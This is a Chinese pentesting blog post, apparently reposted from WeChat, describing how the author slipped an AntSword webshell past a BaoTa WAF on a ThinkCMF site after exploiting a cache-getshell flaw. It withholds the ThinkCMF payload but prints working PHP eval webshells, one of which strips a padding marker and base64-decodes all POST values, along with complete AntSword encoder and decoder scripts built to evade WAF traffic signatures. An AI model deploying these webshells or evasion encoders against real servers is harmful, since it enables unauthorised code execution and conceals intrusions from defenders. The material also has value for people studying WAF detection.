向大佬取经,绕过了一个WAF(思路)
2022-7-31 09:9:49 Author: 编码安全研究(查看原文) 阅读量:41 收藏

作者:AndyNoel  原文地址:https://www.freebuf.com/articles/web/291580.html

最近在学习了一波CMS漏洞,要了授权,看了几个站,有宝塔WAF。。。

向WHOAMI大佬取经回来后,绕过了一个WAF。觉得是时候要认真总结一下了:)

前期的过程

网站采用的是ThinkCMF这款CMS,ThinkCMF某些版本是存在缓存Getshell这样的一个漏洞,payload我就不放了,大家要遵守相应的法律法规哦!:)

按照payload,直接打的话,访问白屏还兴奋了一下,结果一执行shell就触发宝塔WAF...更别说蚁剑连接了...

WAF会对部分函数进行了过滤,所以直接打payload肯定是不行的,

因此我们需要对蚁剑的流量特征进行混淆加密

一个正常的shell如下:

<?php @eval($_POST['hack']);?>但是这样的shell特征太明显了,肯定会被拦截的,所以我们要学会骚一点

比如说<?php @eval(base_decode($_POST['test']));?>

让我们将phpinfo();base64加密后POST传参,就可以正常执行phpinfo了

但是....

cmd命令执行

但是蚁剑连接shell爆红了。。。

明明写进去了,也能phpinfo,但是蚁剑连接错误,为什么呢???

其实,我们可以先学一下蚁剑流量的相关知识

首先看看蚁剑的base64编码器结构:

'use strict';

/*

@param {String} pwd 连接密码
@param {Array} data 编码器处理前的 payload 数组
@return {Array} data 编码器处理后的 payload 数组
*/
module.exports = (pwd, data, ext={}) => {
// ########## 请在下方编写你自己的代码 ###################
// 以下代码为 PHP Base64 样例
// 生成一个随机变量名
let randomID = `_0x${Math.random().toString(16).substr(2)}`;
// 原有的 payload 在 data['_']中
// 取出来之后,转为 base64 编码并放入 randomID key 下
data[randomID] = Buffer.from(data['_']).toString('base64');

// shell 在接收到 payload 后,先处理 pwd 参数下的内容,
data[pwd] = `eval(base64_decode($_POST[${randomID}]));`;
// ########## 请在上方编写你自己的代码 ###################
// 删除 _ 原有的payload
delete data['_'];
// 返回编码器处理后的 payload 数组
return data;
}

解释一下:

pwd:  类型是String, 这个是 shell 的连接密码

data: 类型是 Array, 这个是要发送的 HTTP POST 数据包

Buffer.from(data['_']).toString('base64')将data['_']中的代码读取并进行base64编码,然后下面的 data[pwd] 以参数的形式传递到服务器,解码后shell代码便会执行。

虽然data['_']中的代码进行过base64编码,但是data[pwd] 是作为参数传递的,所以在流量中的 data[pwd] 仍是明文传输。

而且,蚁剑在对data进行编码时会增加一定长度的随机字符,但是cmd命令无论增加多长的字符Y21K这个特征字符也始终会被识别到

那该怎么办呢???

WAF拦了蚁剑发送的其它参数时怎么操作

(https://mp.weixin.qq.com/s/ai3dW8H_ZnlFMPo-pgoqZw)

从这篇大佬的文章好好学习了一下,其中一种方法大佬是通过遍历data的其他参数,并Hex编码了data的值。

解码器内容:

*/
'use strict';

module.exports = (pwd, data) => {
let ret = {};
for (let _ in data) {
if (_ === '_') { continue };
ret[_] = Buffer.from(data[_]).toString('hex');
}
ret[pwd] = Buffer.from(data['_']).toString('hex');
return ret;
}

因为蚁剑是默认会对data的值进行一次base64加密,所以我们可以再base64加密一次并增添点data的值:)

比如像这样:

let ret = {};
for (let _ in data)
{
if (_ === '_')
{ continue; }
ret[_] = Buffer.from(data[_]).toString('base64');
ret[_] = 'andynoel1234' + ret[_];
ret[_] += 'andynoel1234';
}

同时,我们所写的shell也不能那么简单的啦,所以也得相应地稍微修改一下:

<?php
foreach($_POST as $k=>$v){$_POST[$k]=base64_decode(str_replace('andynoel1234','',$v));}
@eval($_POST['hack']);
?>

在第一次POST时进行抓包,去掉我们另外加入的data值,比如说上面的andynoel1234

然后对剩下的内容执行两次base64解码,再试一下蚁剑成功连接,就可以执行cmd命令了。

声明:本公众号所分享内容仅用于网安爱好者之间的技术讨论,禁止用于违法途径,所有渗透都需获取授权!否则需自行承担,本公众号及原作者不承担相应的后果.

侵权请私聊公众号删文

推荐阅读   

【入门教程】常见的Web漏洞--XSS

【入门教程】常见的Web漏洞--SQL注入

sql注入--入门到进阶

短信验证码安全常见逻辑漏洞

最全常见Web安全漏洞总结及推荐解决方案

常见的Web应用的漏洞总结(原理、危害、防御)

代码审计常见漏洞总结

Web安全漏洞的靶场演示

13 款 Linux 比较实用的工具

xss攻击、绕过最全总结

   学习更多技术,关注我:   

觉得文章不错给点个‘再看’吧


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2NDY1MDc2Mg==&mid=2247491979&idx=2&sn=9f853697f05c1376190cb9988f0f5072&chksm=ce64b2eef9133bf81ba9a573d321d0095f5c7f055e02fd35d3c7bbdc64dbcc2985726efc5038#rd
如有侵权请联系:admin#unsafe.sh